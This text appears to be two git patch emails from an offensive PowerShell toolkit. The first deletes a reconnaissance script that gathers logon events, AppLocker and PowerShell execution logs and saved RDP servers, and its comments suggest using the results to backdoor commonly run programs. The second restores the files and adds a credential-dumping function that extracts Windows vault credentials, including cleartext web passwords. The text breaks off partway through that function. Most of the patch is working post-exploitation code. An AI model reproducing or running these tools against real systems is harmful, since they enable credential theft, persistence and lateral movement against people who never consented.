From 5a812ce82361bf65443fc9c545c091e21e98fe80 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Wed, 4 Nov 2015 13:40:02 -0500 Subject: Normalizing all files to ascii encoding --- Recon/Get-ComputerDetails.ps1 | 580 ------------------------------------------ 1 file changed, 580 deletions(-) (limited to 'Recon') diff --git a/Recon/Get-ComputerDetails.ps1 b/Recon/Get-ComputerDetails.ps1 index 63ac1cb..e69de29 100644 --- a/Recon/Get-ComputerDetails.ps1 +++ b/Recon/Get-ComputerDetails.ps1 @@ -1,580 +0,0 @@ -function Get-ComputerDetails -{ -<# -.SYNOPSIS - -This script is used to get useful information from a computer. - -Function: Get-ComputerDetails -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None -Version: 1.1 - -.DESCRIPTION - -This script is used to get useful information from a computer. Currently, the script gets the following information: --Explicit Credential Logons (Event ID 4648) --Logon events (Event ID 4624) --AppLocker logs to find what processes are created --PowerShell logs to find PowerShell scripts which have been executed --RDP Client Saved Servers, which indicates what servers the user typically RDP's in to - -.PARAMETER ToString - -Switch: Outputs the data as text instead of objects, good if you are using this script through a backdoor. - -.EXAMPLE - -Get-ComputerDetails -Gets information about the computer and outputs it as PowerShell objects. - -Get-ComputerDetails -ToString -Gets information about the computer and outputs it as raw text. - -.NOTES -This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to. -You can also use it to find Powershell scripts and executables which are typically run, and then use this to backdoor those files. - -.LINK - -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell - -#> - - Param( - [Parameter(Position=0)] - [Switch] - $ToString - ) - - Set-StrictMode -Version 2 - - - - $SecurityLog = Get-EventLog -LogName Security - $Filtered4624 = Find-4624Logons $SecurityLog - $Filtered4648 = Find-4648Logons $SecurityLog - $AppLockerLogs = Find-AppLockerLogs - $PSLogs = Find-PSScriptsInPSAppLog - $RdpClientData = Find-RDPClientConnections - - if ($ToString) - { - Write-Output "Event ID 4624 (Logon):" - Write-Output $Filtered4624.Values | Format-List - Write-Output "Event ID 4648 (Explicit Credential Logon):" - Write-Output $Filtered4648.Values | Format-List - Write-Output "AppLocker Process Starts:" - Write-Output $AppLockerLogs.Values | Format-List - Write-Output "PowerShell Script Executions:" - Write-Output $PSLogs.Values | Format-List - Write-Output "RDP Client Data:" - Write-Output $RdpClientData.Values | Format-List - } - else - { - $Properties = @{ - LogonEvent4624 = $Filtered4624.Values - LogonEvent4648 = $Filtered4648.Values - AppLockerProcessStart = $AppLockerLogs.Values - PowerShellScriptStart = $PSLogs.Values - RdpClientData = $RdpClientData.Values - } - - $ReturnObj = New-Object PSObject -Property $Properties - return $ReturnObj - } -} - - -function Find-4648Logons -{ -<# -.SYNOPSIS - -Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the -the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful -for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action. - -Function: Find-4648Logons -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None -Version: 1.1 - -.DESCRIPTION - -Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the -the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful -for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action. - -.EXAMPLE - -Find-4648Logons -Gets the unique 4648 logon events. - -.NOTES - -.LINK - -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell -#> - Param( - $SecurityLog - ) - - $ExplicitLogons = $SecurityLog | Where {$_.InstanceID -eq 4648} - $ReturnInfo = @{} - - foreach ($ExplicitLogon in $ExplicitLogons) - { - $Subject = $false - $AccountWhosCredsUsed = $false - $TargetServer = $false - $SourceAccountName = "" - $SourceAccountDomain = "" - $TargetAccountName = "" - $TargetAccountDomain = "" - $TargetServer = "" - foreach ($line in $ExplicitLogon.Message -split "\r\n") - { - if ($line -cmatch "^Subject:$") - { - $Subject = $true - } - elseif ($line -cmatch "^Account\sWhose\sCredentials\sWere\sUsed:$") - { - $Subject = $false - $AccountWhosCredsUsed = $true - } - elseif ($line -cmatch "^Target\sServer:") - { - $AccountWhosCredsUsed = $false - $TargetServer = $true - } - elseif ($Subject -eq $true) - { - if ($line -cmatch "\s+Account\sName:\s+(\S.*)") - { - $SourceAccountName = $Matches[1] - } - elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)") - { - $SourceAccountDomain = $Matches[1] - } - } - elseif ($AccountWhosCredsUsed -eq $true) - { - if ($line -cmatch "\s+Account\sName:\s+(\S.*)") - { - $TargetAccountName = $Matches[1] - } - elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)") - { - $TargetAccountDomain = $Matches[1] - } - } - elseif ($TargetServer -eq $true) - { - if ($line -cmatch "\s+Target\sServer\sName:\s+(\S.*)") - { - $TargetServer = $Matches[1] - } - } - } - - #Filter out logins that don't matter - if (-not ($TargetAccountName -cmatch "^DWM-.*" -and $TargetAccountDomain -cmatch "^Window\sManager$")) - { - $Key = $SourceAccountName + $SourceAccountDomain + $TargetAccountName + $TargetAccountDomain + $TargetServer - if (-not $ReturnInfo.ContainsKey($Key)) - { - $Properties = @{ - LogType = 4648 - LogSource = "Security" - SourceAccountName = $SourceAccountName - SourceDomainName = $SourceAccountDomain - TargetAccountName = $TargetAccountName - TargetDomainName = $TargetAccountDomain - TargetServer = $TargetServer - Count = 1 - Times = @($ExplicitLogon.TimeGenerated) - } - - $ResultObj = New-Object PSObject -Property $Properties - $ReturnInfo.Add($Key, $ResultObj) - } - else - { - $ReturnInfo[$Key].Count++ - $ReturnInfo[$Key].Times += ,$ExplicitLogon.TimeGenerated - } - } - } - - return $ReturnInfo -} - -function Find-4624Logons -{ -<# -.SYNOPSIS - -Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do -network logons in to the server, what accounts RDP in, what accounts log in locally, etc... - -Function: Find-4624Logons -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None -Version: 1.1 - -.DESCRIPTION - -Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do -network logons in to the server, what accounts RDP in, what accounts log in locally, etc... - -.EXAMPLE - -Find-4624Logons -Find unique 4624 logon events. - -.NOTES - -.LINK - -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell -#> - Param ( - $SecurityLog - ) - - $Logons = $SecurityLog | Where {$_.InstanceID -eq 4624} - $ReturnInfo = @{} - - foreach ($Logon in $Logons) - { - $SubjectSection = $false - $NewLogonSection = $false - $NetworkInformationSection = $false - $AccountName = "" - $AccountDomain = "" - $LogonType = "" - $NewLogonAccountName = "" - $NewLogonAccountDomain = "" - $WorkstationName = "" - $SourceNetworkAddress = "" - $SourcePort = "" - - foreach ($line in $Logon.Message -Split "\r\n") - { - if ($line -cmatch "^Subject:$") - { - $SubjectSection = $true - } - elseif ($line -cmatch "^Logon\sType:\s+(\S.*)") - { - $LogonType = $Matches[1] - } - elseif ($line -cmatch "^New\sLogon:$") - { - $SubjectSection = $false - $NewLogonSection = $true - } - elseif ($line -cmatch "^Network\sInformation:$") - { - $NewLogonSection = $false - $NetworkInformationSection = $true - } - elseif ($SubjectSection) - { - if ($line -cmatch "^\s+Account\sName:\s+(\S.*)") - { - $AccountName = $Matches[1] - } - elseif ($line -cmatch "^\s+Account\sDomain:\s+(\S.*)") - { - $AccountDomain = $Matches[1] - } - } - elseif ($NewLogonSection) - { - if ($line -cmatch "^\s+Account\sName:\s+(\S.*)") - { - $NewLogonAccountName = $Matches[1] - } - elseif ($line -cmatch "^\s+Account\sDomain:\s+(\S.*)") - { - $NewLogonAccountDomain = $Matches[1] - } - } - elseif ($NetworkInformationSection) - { - if ($line -cmatch "^\s+Workstation\sName:\s+(\S.*)") - { - $WorkstationName = $Matches[1] - } - elseif ($line -cmatch "^\s+Source\sNetwork\sAddress:\s+(\S.*)") - { - $SourceNetworkAddress = $Matches[1] - } - elseif ($line -cmatch "^\s+Source\sPort:\s+(\S.*)") - { - $SourcePort = $Matches[1] - } - } - } - - #Filter out logins that don't matter - if (-not ($NewLogonAccountDomain -cmatch "NT\sAUTHORITY" -or $NewLogonAccountDomain -cmatch "Window\sManager")) - { - $Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort - if (-not $ReturnInfo.ContainsKey($Key)) - { - $Properties = @{ - LogType = 4624 - LogSource = "Security" - SourceAccountName = $AccountName - SourceDomainName = $AccountDomain - NewLogonAccountName = $NewLogonAccountName - NewLogonAccountDomain = $NewLogonAccountDomain - LogonType = $LogonType - WorkstationName = $WorkstationName - SourceNetworkAddress = $SourceNetworkAddress - SourcePort = $SourcePort - Count = 1 - Times = @($Logon.TimeGenerated) - } - - $ResultObj = New-Object PSObject -Property $Properties - $ReturnInfo.Add($Key, $ResultObj) - } - else - { - $ReturnInfo[$Key].Count++ - $ReturnInfo[$Key].Times += ,$Logon.TimeGenerated - } - } - } - - return $ReturnInfo -} - - -function Find-AppLockerLogs -{ -<# -.SYNOPSIS - -Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run). - -Function: Find-AppLockerLogs -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None -Version: 1.1 - -.DESCRIPTION - -Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run). - -.EXAMPLE - -Find-AppLockerLogs -Find process creations from AppLocker logs. - -.NOTES - -.LINK - -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell -#> - $ReturnInfo = @{} - - $AppLockerLogs = Get-WinEvent -LogName "Microsoft-Windows-AppLocker/EXE and DLL" -ErrorAction SilentlyContinue | Where {$_.Id -eq 8002} - - foreach ($Log in $AppLockerLogs) - { - $SID = New-Object System.Security.Principal.SecurityIdentifier($Log.Properties[7].Value) - $UserName = $SID.Translate( [System.Security.Principal.NTAccount]) - - $ExeName = $Log.Properties[10].Value - - $Key = $UserName.ToString() + "::::" + $ExeName - - if (!$ReturnInfo.ContainsKey($Key)) - { - $Properties = @{ - Exe = $ExeName - User = $UserName.Value - Count = 1 - Times = @($Log.TimeCreated) - } - - $Item = New-Object PSObject -Property $Properties - $ReturnInfo.Add($Key, $Item) - } - else - { - $ReturnInfo[$Key].Count++ - $ReturnInfo[$Key].Times += ,$Log.TimeCreated - } - } - - return $ReturnInfo -} - - -Function Find-PSScriptsInPSAppLog -{ -<# -.SYNOPSIS - -Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log). -You can then backdoor these scripts or do other malicious things. - -Function: Find-AppLockerLogs -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None -Version: 1.1 - -.DESCRIPTION - -Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log). -You can then backdoor these scripts or do other malicious things. - -.EXAMPLE - -Find-PSScriptsInPSAppLog -Find unique PowerShell scripts being executed from the PowerShell operational log. - -.NOTES - -.LINK - -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell -#> - $ReturnInfo = @{} - $Logs = Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -ErrorAction SilentlyContinue | Where {$_.Id -eq 4100} - - foreach ($Log in $Logs) - { - $ContainsScriptName = $false - $LogDetails = $Log.Message -split "`r`n" - - $FoundScriptName = $false - foreach($Line in $LogDetails) - { - if ($Line -imatch "^\s*Script\sName\s=\s(.+)") - { - $ScriptName = $Matches[1] - $FoundScriptName = $true - } - elseif ($Line -imatch "^\s*User\s=\s(.*)") - { - $User = $Matches[1] - } - } - - if ($FoundScriptName) - { - $Key = $ScriptName + "::::" + $User - - if (!$ReturnInfo.ContainsKey($Key)) - { - $Properties = @{ - ScriptName = $ScriptName - UserName = $User - Count = 1 - Times = @($Log.TimeCreated) - } - - $Item = New-Object PSObject -Property $Properties - $ReturnInfo.Add($Key, $Item) - } - else - { - $ReturnInfo[$Key].Count++ - $ReturnInfo[$Key].Times += ,$Log.TimeCreated - } - } - } - - return $ReturnInfo -} - - -Function Find-RDPClientConnections -{ -<# -.SYNOPSIS - -Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user -usually RDP's to. - -Function: Find-RDPClientConnections -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None -Version: 1.1 - -.DESCRIPTION - -Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user -usually RDP's to. - -.EXAMPLE - -Find-RDPClientConnections -Find unique saved RDP client connections. - -.NOTES - -.LINK - -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell -#> - $ReturnInfo = @{} - - New-PSDrive -Name HKU -PSProvider Registry -Root Registry::HKEY_USERS | Out-Null - - #Attempt to enumerate the servers for all users - $Users = Get-ChildItem -Path "HKU:\" - foreach ($UserSid in $Users.PSChildName) - { - $Servers = Get-ChildItem "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue - - foreach ($Server in $Servers) - { - $Server = $Server.PSChildName - $UsernameHint = (Get-ItemProperty -Path "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers\$($Server)").UsernameHint - - $Key = $UserSid + "::::" + $Server + "::::" + $UsernameHint - - if (!$ReturnInfo.ContainsKey($Key)) - { - $SIDObj = New-Object System.Security.Principal.SecurityIdentifier($UserSid) - $User = ($SIDObj.Translate([System.Security.Principal.NTAccount])).Value - - $Properties = @{ - CurrentUser = $User - Server = $Server - UsernameHint = $UsernameHint - } - - $Item = New-Object PSObject -Property $Properties - $ReturnInfo.Add($Key, $Item) - } - } - } - - return $ReturnInfo -} \ No newline at end of file -- cgit v1.2.3 From 2dd1f5920d08d877628154bcbe8c2a93f2b835af Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Wed, 4 Nov 2015 13:41:36 -0500 Subject: Revert "Normalizing all files to ascii encoding" This reverts commit 5a812ce82361bf65443fc9c545c091e21e98fe80. --- .gitattributes | 63 ---- .gitignore | 2 - Exfiltration/Get-VaultCredential.ps1 | 401 +++++++++++++++++++++++ Exfiltration/VolumeShadowCopyTools.ps1 | 292 +++++++++++++++++ Mayhem/Mayhem.psd1 | 87 +++++ Mayhem/Mayhem.psm1 | 366 +++++++++++++++++++++ Recon/Get-ComputerDetails.ps1 | 580 +++++++++++++++++++++++++++++++++ 7 files changed, 1726 insertions(+), 65 deletions(-) delete mode 100644 .gitattributes (limited to 'Recon') diff --git a/.gitattributes b/.gitattributes deleted file mode 100644 index 1ff0c42..0000000 --- a/.gitattributes +++ /dev/null @@ -1,63 +0,0 @@ -############################################################################### -# Set default behavior to automatically normalize line endings. -############################################################################### -* text=auto - -############################################################################### -# Set default behavior for command prompt diff. -# -# This is need for earlier builds of msysgit that does not have it on by -# default for csharp files. -# Note: This is only used by command line -############################################################################### -#*.cs diff=csharp - -############################################################################### -# Set the merge driver for project and solution files -# -# Merging from the command prompt will add diff markers to the files if there -# are conflicts (Merging from VS is not affected by the settings below, in VS -# the diff markers are never inserted). Diff markers may cause the following -# file extensions to fail to load in VS. An alternative would be to treat -# these files as binary and thus will always conflict and require user -# intervention with every merge. To do so, just uncomment the entries below -############################################################################### -#*.sln merge=binary -#*.csproj merge=binary -#*.vbproj merge=binary -#*.vcxproj merge=binary -#*.vcproj merge=binary -#*.dbproj merge=binary -#*.fsproj merge=binary -#*.lsproj merge=binary -#*.wixproj merge=binary -#*.modelproj merge=binary -#*.sqlproj merge=binary -#*.wwaproj merge=binary - -############################################################################### -# behavior for image files -# -# image files are treated as binary by default. -############################################################################### -#*.jpg binary -#*.png binary -#*.gif binary - -############################################################################### -# diff behavior for common document formats -# -# Convert binary document formats to text before diffing them. This feature -# is only available from the command line. Turn it on by uncommenting the -# entries below. -############################################################################### -#*.doc diff=astextplain -#*.DOC diff=astextplain -#*.docx diff=astextplain -#*.DOCX diff=astextplain -#*.dot diff=astextplain -#*.DOT diff=astextplain -#*.pdf diff=astextplain -#*.PDF diff=astextplain -#*.rtf diff=astextplain -#*.RTF diff=astextplain diff --git a/.gitignore b/.gitignore index 071cc43..e15a72d 100644 --- a/.gitignore +++ b/.gitignore @@ -212,5 +212,3 @@ pip-log.txt #Mr Developer .mr.developer.cfg -*.pssproj -*.sln diff --git a/Exfiltration/Get-VaultCredential.ps1 b/Exfiltration/Get-VaultCredential.ps1 index e69de29..c830fa2 100644 --- a/Exfiltration/Get-VaultCredential.ps1 +++ b/Exfiltration/Get-VaultCredential.ps1 @@ -0,0 +1,401 @@ +function Get-VaultCredential +{ +<# +.SYNOPSIS + +Displays Windows vault credential objects including cleartext web credentials. + +PowerSploit Function: Get-VaultCredential +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Get-VaultCredential enumerates and displays all credentials stored in the Windows +vault. Web credentials, specifically are displayed in cleartext. This script was +inspired by the following C implementation: http://www.oxid.it/downloads/vaultdump.txt + +.EXAMPLE + +Get-VaultCredential + +.NOTES + +Only web credentials can be displayed in cleartext. +#> + [CmdletBinding()] Param() + + $OSVersion = [Environment]::OSVersion.Version + $OSMajor = $OSVersion.Major + $OSMinor = $OSVersion.Minor + + #region P/Invoke declarations for vaultcli.dll + $DynAssembly = New-Object System.Reflection.AssemblyName('VaultUtil') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VaultUtil', $False) + + $EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_ELEMENT_TYPE', 'Public', [Int32]) + $null = $EnumBuilder.DefineLiteral('Undefined', -1) + $null = $EnumBuilder.DefineLiteral('Boolean', 0) + $null = $EnumBuilder.DefineLiteral('Short', 1) + $null = $EnumBuilder.DefineLiteral('UnsignedShort', 2) + $null = $EnumBuilder.DefineLiteral('Int', 3) + $null = $EnumBuilder.DefineLiteral('UnsignedInt', 4) + $null = $EnumBuilder.DefineLiteral('Double', 5) + $null = $EnumBuilder.DefineLiteral('Guid', 6) + $null = $EnumBuilder.DefineLiteral('String', 7) + $null = $EnumBuilder.DefineLiteral('ByteArray', 8) + $null = $EnumBuilder.DefineLiteral('TimeStamp', 9) + $null = $EnumBuilder.DefineLiteral('ProtectedArray', 10) + $null = $EnumBuilder.DefineLiteral('Attribute', 11) + $null = $EnumBuilder.DefineLiteral('Sid', 12) + $null = $EnumBuilder.DefineLiteral('Last', 13) + $VAULT_ELEMENT_TYPE = $EnumBuilder.CreateType() + + $EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_SCHEMA_ELEMENT_ID', 'Public', [Int32]) + $null = $EnumBuilder.DefineLiteral('Illegal', 0) + $null = $EnumBuilder.DefineLiteral('Resource', 1) + $null = $EnumBuilder.DefineLiteral('Identity', 2) + $null = $EnumBuilder.DefineLiteral('Authenticator', 3) + $null = $EnumBuilder.DefineLiteral('Tag', 4) + $null = $EnumBuilder.DefineLiteral('PackageSid', 5) + $null = $EnumBuilder.DefineLiteral('AppStart', 100) + $null = $EnumBuilder.DefineLiteral('AppEnd', 10000) + $VAULT_SCHEMA_ELEMENT_ID = $EnumBuilder.CreateType() + + $LayoutConstructor = [Runtime.InteropServices.StructLayoutAttribute].GetConstructor([Runtime.InteropServices.LayoutKind]) + $CharsetField = [Runtime.InteropServices.StructLayoutAttribute].GetField('CharSet') + $StructLayoutCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($LayoutConstructor, + @([Runtime.InteropServices.LayoutKind]::Explicit), + $CharsetField, + @([Runtime.InteropServices.CharSet]::Ansi)) + $StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + + $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM', $StructAttributes, [Object], [System.Reflection.Emit.PackingSize]::Size4) + $null = $TypeBuilder.DefineField('SchemaId', [Guid], 'Public') + $null = $TypeBuilder.DefineField('pszCredentialFriendlyName', [IntPtr], 'Public') + $null = $TypeBuilder.DefineField('pResourceElement', [IntPtr], 'Public') + $null = $TypeBuilder.DefineField('pIdentityElement', [IntPtr], 'Public') + $null = $TypeBuilder.DefineField('pAuthenticatorElement', [IntPtr], 'Public') + if ($OSMajor -ge 6 -and $OSMinor -ge 2) + { + $null = $TypeBuilder.DefineField('pPackageSid', [IntPtr], 'Public') + } + $null = $TypeBuilder.DefineField('LastModified', [UInt64], 'Public') + $null = $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') + $null = $TypeBuilder.DefineField('dwPropertiesCount', [UInt32], 'Public') + $null = $TypeBuilder.DefineField('pPropertyElements', [IntPtr], 'Public') + $VAULT_ITEM = $TypeBuilder.CreateType() + + $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM_ELEMENT', $StructAttributes) + $TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute) + $null = $TypeBuilder.DefineField('SchemaElementId', $VAULT_SCHEMA_ELEMENT_ID, 'Public').SetOffset(0) + $null = $TypeBuilder.DefineField('Type', $VAULT_ELEMENT_TYPE, 'Public').SetOffset(8) + $VAULT_ITEM_ELEMENT = $TypeBuilder.CreateType() + + + $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.Vaultcli', 'Public, Class') + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultOpenVault', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([Guid].MakeByRefType(), + [UInt32], + [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultCloseVault', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultFree', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateVaults', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([Int32], + [Int32].MakeByRefType(), + [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateItems', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr], + [Int32], + [Int32].MakeByRefType(), + [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + if ($OSMajor -ge 6 -and $OSMinor -ge 2) + { + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr], + [Guid].MakeByRefType(), + [IntPtr], + [IntPtr], + [IntPtr], + [IntPtr], + [Int32], + [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + } + else + { + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr], + [Guid].MakeByRefType(), + [IntPtr], + [IntPtr], + [IntPtr], + [Int32], + [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + } + + $Vaultcli = $TypeBuilder.CreateType() + #endregion + + # Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct. + function local:Get-VaultElementValue + { + Param ( + [ValidateScript({$_ -ne [IntPtr]::Zero})] + [IntPtr] + $VaultElementPtr + ) + + $PartialElement = [Runtime.InteropServices.Marshal]::PtrToStructure($VaultElementPtr, [Type] $VAULT_ITEM_ELEMENT) + $ElementPtr = [IntPtr] ($VaultElementPtr.ToInt64() + 16) + + switch ($PartialElement.Type) + { + $VAULT_ELEMENT_TYPE::String { + $StringPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr) + [Runtime.InteropServices.Marshal]::PtrToStringUni([IntPtr] $StringPtr) + } + + $VAULT_ELEMENT_TYPE::Boolean { + [Bool] [Runtime.InteropServices.Marshal]::ReadByte([IntPtr] $ElementPtr) + } + + $VAULT_ELEMENT_TYPE::Short { + [Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr) + } + + $VAULT_ELEMENT_TYPE::UnsignedShort { + [Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr) + } + + $VAULT_ELEMENT_TYPE::Int { + [Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr) + } + + $VAULT_ELEMENT_TYPE::UnsignedInt { + [Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr) + } + + $VAULT_ELEMENT_TYPE::Double { + [Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Double]) + } + + $VAULT_ELEMENT_TYPE::Guid { + [Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Guid]) + } + + $VAULT_ELEMENT_TYPE::Sid { + $SidPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr) + Write-Verbose "0x$($SidPtr.ToString('X8'))" + $SidObject = [Security.Principal.SecurityIdentifier] ([IntPtr] $SidPtr) + $SidObject.Value + } + + # These elements are currently unimplemented. + # I have yet to see these used in practice. + $VAULT_ELEMENT_TYPE::ByteArray { $null } + $VAULT_ELEMENT_TYPE::TimeStamp { $null } + $VAULT_ELEMENT_TYPE::ProtectedArray { $null } + $VAULT_ELEMENT_TYPE::Attribute { $null } + $VAULT_ELEMENT_TYPE::Last { $null } + } + } + + $VaultCount = 0 + $VaultGuidPtr = [IntPtr]::Zero + $Result = $Vaultcli::VaultEnumerateVaults(0, [Ref] $VaultCount, [Ref] $VaultGuidPtr) + + if ($Result -ne 0) + { + throw "Unable to enumerate vaults. Error (0x$($Result.ToString('X8')))" + } + + $GuidAddress = $VaultGuidPtr + + $VaultSchema = @{ + ([Guid] '2F1A6504-0641-44CF-8BB5-3612D865F2E5') = 'Windows Secure Note' + ([Guid] '3CCD5499-87A8-4B10-A215-608888DD3B55') = 'Windows Web Password Credential' + ([Guid] '154E23D0-C644-4E6F-8CE6-5069272F999F') = 'Windows Credential Picker Protector' + ([Guid] '4BF4C442-9B8A-41A0-B380-DD4A704DDB28') = 'Web Credentials' + ([Guid] '77BC582B-F0A6-4E15-4E80-61736B6F3B29') = 'Windows Credentials' + ([Guid] 'E69D7838-91B5-4FC9-89D5-230D4D4CC2BC') = 'Windows Domain Certificate Credential' + ([Guid] '3E0E35BE-1B77-43E7-B873-AED901B6275B') = 'Windows Domain Password Credential' + ([Guid] '3C886FF3-2669-4AA2-A8FB-3F6759A77548') = 'Windows Extended Credential' + ([Guid] '00000000-0000-0000-0000-000000000000') = $null + } + + if ($VaultCount) + { + foreach ($i in 1..$VaultCount) + { + $VaultGuid = [Runtime.InteropServices.Marshal]::PtrToStructure($GuidAddress, [Type] [Guid]) + $GuidAddress = [IntPtr] ($GuidAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] [Guid])) + + $VaultHandle = [IntPtr]::Zero + + Write-Verbose "Opening vault - $($VaultSchema[$VaultGuid]) ($($VaultGuid))" + + $Result = $Vaultcli::VaultOpenVault([Ref] $VaultGuid, 0, [Ref] $VaultHandle) + + if ($Result -ne 0) + { + Write-Error "Unable to open the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))" + continue + } + + $VaultItemCount = 0 + $VaultItemPtr = [IntPtr]::Zero + + $Result = $Vaultcli::VaultEnumerateItems($VaultHandle, 512, [Ref] $VaultItemCount, [Ref] $VaultItemPtr) + + if ($Result -ne 0) + { + $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle) + Write-Error "Unable to enumerate vault items from the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))" + continue + } + + $StructAddress = $VaultItemPtr + + if ($VaultItemCount) + { + foreach ($j in 1..$VaultItemCount) + { + $CurrentItem = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $VAULT_ITEM) + $StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $VAULT_ITEM)) + + $PasswordVaultItem = [IntPtr]::Zero + + if ($OSMajor -ge 6 -and $OSMinor -ge 2) + { + $Result = $Vaultcli::VaultGetItem($VaultHandle, + [Ref] $CurrentItem.SchemaId, + $CurrentItem.pResourceElement, + $CurrentItem.pIdentityElement, + $CurrentItem.pPackageSid, + 